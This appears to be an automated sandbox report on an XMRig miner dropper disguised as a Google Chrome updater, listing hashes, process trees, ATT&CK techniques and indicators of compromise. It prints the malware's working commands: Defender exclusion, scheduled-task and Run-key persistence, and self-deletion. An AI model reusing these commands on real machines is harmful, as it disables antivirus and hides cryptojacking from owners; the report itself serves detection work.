xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
453s
max time network
1787s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2936 created 1380	2936	6vHkJ4UErTSS5ECD.exe	7
PID 2936 created 1380	2936	6vHkJ4UErTSS5ECD.exe	7
PID 2936 created 1380	2936	6vHkJ4UErTSS5ECD.exe	7
PID 2936 created 1380	2936	6vHkJ4UErTSS5ECD.exe	7
PID 2428 created 1380	2428	updater.exe	7
PID 2428 created 1380	2428	updater.exe	7
PID 2428 created 1380	2428	updater.exe	7
PID 2428 created 1380	2428	updater.exe	7
PID 784 created 1380	784	conhost.exe	7
PID 2428 created 1380	2428	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral5/memory/2112-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2112-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2492	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2428	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2780	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/memory/2112-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2112-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2428 set thread context of 784	2428	updater.exe	53
PID 2428 set thread context of 2112	2428	updater.exe	50

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	6vHkJ4UErTSS5ECD.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2880	schtasks.exe
2808	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1236	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0c20c3fb64fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2936	6vHkJ4UErTSS5ECD.exe
2936	6vHkJ4UErTSS5ECD.exe
3068	powershell.exe
2936	6vHkJ4UErTSS5ECD.exe
2936	6vHkJ4UErTSS5ECD.exe
2660	powershell.exe
2936	6vHkJ4UErTSS5ECD.exe
2936	6vHkJ4UErTSS5ECD.exe
2936	6vHkJ4UErTSS5ECD.exe
2936	6vHkJ4UErTSS5ECD.exe
2856	powershell.exe
2428	updater.exe
2428	updater.exe
860	powershell.exe
2428	updater.exe
2428	updater.exe
1628	powershell.exe
2428	updater.exe
2428	updater.exe
2428	updater.exe
2428	updater.exe
784	conhost.exe
784	conhost.exe
2428	updater.exe
2428	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	2428	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1236	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1236	WMIC.exe
Token: SeSecurityPrivilege	1236	WMIC.exe
Token: SeTakeOwnershipPrivilege	1236	WMIC.exe
Token: SeLoadDriverPrivilege	1236	WMIC.exe
Token: SeSystemtimePrivilege	1236	WMIC.exe
Token: SeBackupPrivilege	1236	WMIC.exe
Token: SeRestorePrivilege	1236	WMIC.exe
Token: SeShutdownPrivilege	1236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1236	WMIC.exe
Token: SeUndockPrivilege	1236	WMIC.exe
Token: SeManageVolumePrivilege	1236	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1236	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1236	WMIC.exe
Token: SeSecurityPrivilege	1236	WMIC.exe
Token: SeTakeOwnershipPrivilege	1236	WMIC.exe
Token: SeLoadDriverPrivilege	1236	WMIC.exe
Token: SeSystemtimePrivilege	1236	WMIC.exe
Token: SeBackupPrivilege	1236	WMIC.exe
Token: SeRestorePrivilege	1236	WMIC.exe
Token: SeShutdownPrivilege	1236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1236	WMIC.exe
Token: SeUndockPrivilege	1236	WMIC.exe
Token: SeManageVolumePrivilege	1236	WMIC.exe
Token: SeLockMemoryPrivilege	2112	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 2880	2660	powershell.exe	32
PID 2660 wrote to memory of 2880	2660	powershell.exe	32
PID 2660 wrote to memory of 2880	2660	powershell.exe	32
PID 2492 wrote to memory of 2576	2492	cmd.exe	34
PID 2492 wrote to memory of 2576	2492	cmd.exe	34
PID 2492 wrote to memory of 2576	2492	cmd.exe	34
PID 2856 wrote to memory of 2540	2856	powershell.exe	38
PID 2856 wrote to memory of 2540	2856	powershell.exe	38
PID 2856 wrote to memory of 2540	2856	powershell.exe	38
PID 2780 wrote to memory of 2428	2780	taskeng.exe	40
PID 2780 wrote to memory of 2428	2780	taskeng.exe	40
PID 2780 wrote to memory of 2428	2780	taskeng.exe	40
PID 1628 wrote to memory of 2808	1628	powershell.exe	45
PID 1628 wrote to memory of 2808	1628	powershell.exe	45
PID 1628 wrote to memory of 2808	1628	powershell.exe	45
PID 2428 wrote to memory of 784	2428	updater.exe	53
PID 1440 wrote to memory of 1236	1440	cmd.exe	48
PID 1440 wrote to memory of 1236	1440	cmd.exe	48
PID 1440 wrote to memory of 1236	1440	cmd.exe	48
PID 2428 wrote to memory of 2112	2428	updater.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1380
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2880
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2808
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2716
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1440
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:784

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2576

C:\Windows\system32\taskeng.exe
taskeng.exe {8DD3C7FE-D98F-4A2A-8391-DD8139854625} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 386KB
SHA256 5d5580b96c1f97daf8b05f6e4492cd71cf682fb3f01a2b786d59ba79d7de6c9b
MD5 67179f376ac027acbb817da3b5a5988a
SHA1 ed3af156c9437be3f0819d780574bf36d062b45c
SHA512 77d2b5af53df31ec0d51cc69ce193d7ea6cc0d9b2c9c9124b46ababf1109f6eb48f0e907ab60db1f613e1d940a3526c48c41603eb50676a1271e696e06fddd39
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTP:rWVipGdVZjdqVC5jd88FF
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 45KB
SHA256 4d07ed5f82cf67c9aa2c3f5d0fe8309eb122874edb09086e709d1394b227367e
MD5 e6d383a88e9ffe3d919af82e1a0cfdb1
SHA1 55c5078350fcdedc2ba39ca2df1ca779921a57e3
SHA512 db3e2009454c58792dbee8cfb91657569e23429b2534fe5e902295348ec2a8debccdd490e56826dd071ca9df186593f82381561f47f08cdffa2b829a28fda436
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOd:L3zCarzIpyj5pLauwYY94E6w/oB
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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8DUB5R4COLCHNPU87H6C.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8DUB5R4COLCHNPU87H6C.temp
Size 7KB
SHA256 e5dccfb1da63f4606b5d2725e3ab52b3f972c7fa00b95a00f7b42bf900bff976
MD5 be6a2a2a440d8947d285c98589f40313
SHA1 aab9a4a7b651459a66e81ecf23b6becc8131520f
SHA512 03f2c2c92d4f15b5a8bf91ef51243ba99bcea1761b3ee771c444222a60cced778df5c3eec16257a694b3cba6ef5fa5b426c43a7561ac8ceadc8dbb2cb10d460e
SSDEEP 96:8+kiCVM8d5nqvsqvJCwor+kiCVM8d5nqvsEHyqvJCwor9usRj5QHSb7Bs5XlUVi:rk/x5UoCk/x5AHnor9Tj5/b7Bs5l
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 445KB
SHA256 44f2e40578dedf27c7c4eef6cc703f7da58190e177ea1b2d65931a1ce9bccbfb
MD5 ff6f94ee6b9722b1d93d9602e1a7ac37
SHA1 9917c9419a76456a75b803f540419241ce695a43
SHA512 4f6c09aa129dd2fb3f9308b3d99c9f172bf4a857ee60ab3b6eaf03d1ef0cb779737e6ab9fde2c536355de30b60a07e0a50828d775c6cdebf6ee9f78f13765034
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdx:rWVipGdVZjdqVC5jd88FCx
MD5 SHA1 SHA512 SSDEEP

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memory/784-68-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/784-74-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/860-49-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/860-44-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/860-45-0x0000000001250000-0x00000000012D0000-memory.dmp

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memory/860-46-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/860-47-0x0000000001250000-0x00000000012D0000-memory.dmp

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memory/860-48-0x0000000001250000-0x00000000012D0000-memory.dmp

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memory/1628-56-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1628-50-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1628-51-0x0000000001290000-0x0000000001310000-memory.dmp

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memory/1628-53-0x0000000001290000-0x0000000001310000-memory.dmp

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memory/1628-54-0x0000000001290000-0x0000000001310000-memory.dmp

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memory/1628-55-0x0000000001290000-0x0000000001310000-memory.dmp

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memory/1628-52-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/2112-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-65-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-64-0x00000000000F0000-0x0000000000110000-memory.dmp

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memory/2112-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-66-0x0000000000150000-0x0000000000170000-memory.dmp

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memory/2112-67-0x0000000000380000-0x00000000003A0000-memory.dmp

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memory/2112-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2112-72-0x0000000000150000-0x0000000000170000-memory.dmp

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memory/2112-73-0x0000000000380000-0x00000000003A0000-memory.dmp

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memory/2112-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2428-63-0x000000013F930000-0x000000013FB41000-memory.dmp

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memory/2428-43-0x000000013F930000-0x000000013FB41000-memory.dmp

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memory/2660-25-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/2660-19-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/2660-24-0x0000000002A10000-0x0000000002A90000-memory.dmp

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memory/2660-23-0x0000000002A10000-0x0000000002A90000-memory.dmp

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memory/2660-22-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/2660-18-0x000000001B5B0000-0x000000001B892000-memory.dmp

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memory/2660-20-0x0000000002A10000-0x0000000002A90000-memory.dmp

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memory/2660-21-0x0000000001E40000-0x0000000001E48000-memory.dmp

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memory/2856-33-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/2856-35-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/2856-39-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/2856-38-0x0000000002850000-0x00000000028D0000-memory.dmp

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memory/2856-37-0x0000000002850000-0x00000000028D0000-memory.dmp

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memory/2856-36-0x0000000002850000-0x00000000028D0000-memory.dmp

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memory/2856-34-0x0000000002850000-0x00000000028D0000-memory.dmp

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memory/2936-27-0x000000013F660000-0x000000013F871000-memory.dmp

